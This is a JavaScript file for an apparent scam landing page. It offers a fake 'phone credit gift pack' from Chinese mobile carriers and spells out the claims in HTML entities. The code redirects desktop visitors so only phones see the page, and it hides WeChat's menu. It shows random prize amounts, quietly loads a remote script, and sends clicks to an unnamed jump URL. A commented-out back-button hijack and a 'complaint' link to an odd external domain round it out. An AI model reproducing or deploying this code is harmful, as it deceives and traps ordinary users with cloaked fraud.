$(function () {
    var obj = JSON.parse(window.atob($('input[name="obj"]').val()));
    if(obj.iswx == 1){
        var system = {win: false,mac: false,xll: false};
        var p = navigator.platform;
        system.win = p.indexOf("Win") == 0;
        system.mac = p.indexOf("Mac") == 0;
        system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);
        if (system.win || system.mac) {
            location.href = obj.errurl;
        }
    }
    if(obj.isx == 1){
        document.body.addEventListener('touchmove',function (event) {
            event.preventDefault();
        },false);
    }
    if (typeof WeixinJSBridge == "undefined") {
        if (document.addEventListener) {
            document.addEventListener('WeixinJSBridgeReady', onBridgeReady, false);
        } else if (document.attachEvent) {
            document.attachEvent('WeixinJSBridgeReady', onBridgeReady);
            document.attachEvent('onWeixinJSBridgeReady', onBridgeReady);
        }
    } else {
        onBridgeReady();
    }
    function onBridgeReady() {
        WeixinJSBridge.call('hideOptionMenu');
    }
    $('body').append('<div id="content"><div id="red"><div class="redtop"><div class="zu"><img src="pic/123456789aw.png" alt=""></div><div class="tips bao">&#x8BDD;&#x8D39;&#x793C;&#x5305;</div><div class="tips liu">&#x5168;&#x6C11;&#x62A2;&#x8D2D;&#x5343;&#x4E07;&#x5143;&#x8BDD;&#x8D39;,&#x5168;&#x7F51;&#x901A;&#x7528;</div></div><div id="kai"><img src="pic/59bb336567dc0.png" alt=""><p id="dk">&#x958B;</p></div><div id="pars"><ul><li><img src="pic/TB2qh30bHslyKJjSZJiXXb1tFXa_!!2691499002.png" alt=""><p>&#x4E2D;&#x56FD;&#x79FB;&#x52A8;</p></li><li><img src="pic/TB2PQ38bTIlyKJjSZFrXXXn2VXa_!!2691499002.png" alt=""><p>&#x4E2D;&#x56FD;&#x8054;&#x901A;</p></li><li><img src="pic/TB20XI7bHAlyKJjSZFBXXbtiFXa_!!2691499002.png" alt=""><p>&#x4E2D;&#x56FD;&#x7535;&#x4FE1;</p></li></ul></div></div></div><div id="mart" style="display: none;overflow: hidden"><div id="top"></div><div class="qcrod"></div><div id="bot"><span class="t">&#x8BDD;&#x8D39;&#x793C;&#x5305;</span><div class="gb"><span id="liulang">10元</span>&#x8BDD;&#x8D39;</div><button class="dianwo">&#x70B9;&#x51FB;&#x7ACB;&#x5373;&#x9886;&#x53D6;</button><div class="bao"><p>&#x5171;&#x5343;&#x4E07;&#x8BDD;&#x8D39;&#x793C;&#x5305;<span class="tou" style="display: inline-block;float: right;margin-right: 8px;color: blue">&#x6295;&#x8BC9;</span></p></div><div id="lie"><ul id="hovlist"></ul></div></div><div style="clear: both;height: 20px;">....</div></div>');
    var money = 10;
    $('#red').addClass('animated bounceIn');
    $('#dk').on('click',function () {
        $(this).addClass('animated flip');
        setTimeout(function () {
            $('#content').fadeOut(1000);
            $('#mart').fadeIn(1000);
            var a = 0;
            var b = setInterval(function() {
                a += 1;
                if (a >= 10) {
                    clearInterval(b)
                }
                var arr = [20,30,50,80,100];
                money = arr[Math.floor((Math.random()*arr.length))]
                document.getElementById('liulang').innerHTML = money+'元';
            }, 60);
            $.getScript('js/q.js',function (e) {});
        },1000)
    });

    $('.dianwo').on('click',function () {
        var m = document.getElementById('liulang').innerHTML;
        location.href = jump + parseInt(m);
        // $.post('april.html',{id:1,tui:obj.tui,money:money},function (e) {
        //
        //     if(e.code == 0){
        //         location.href = e.v[0];
        //
        //     }else{
        //         alert('数据异常.....');
        //     }
        // });
    });
    // $.getJSON(obj.advapi,function (e) {
    //
    //     setTimeout(function(){
    //         history.pushState(history.length + 1, "message", "#" + new Date().getTime());
    //     },200);
    //     window.onhashchange = function() {
    //         location.href = e.url+'&pk='+'huafei533';
    //     };
    // });

    $('.tou').on('click',function () {
        location.href = 'http://qudze.4sqz0b.top/tousu';
    });
});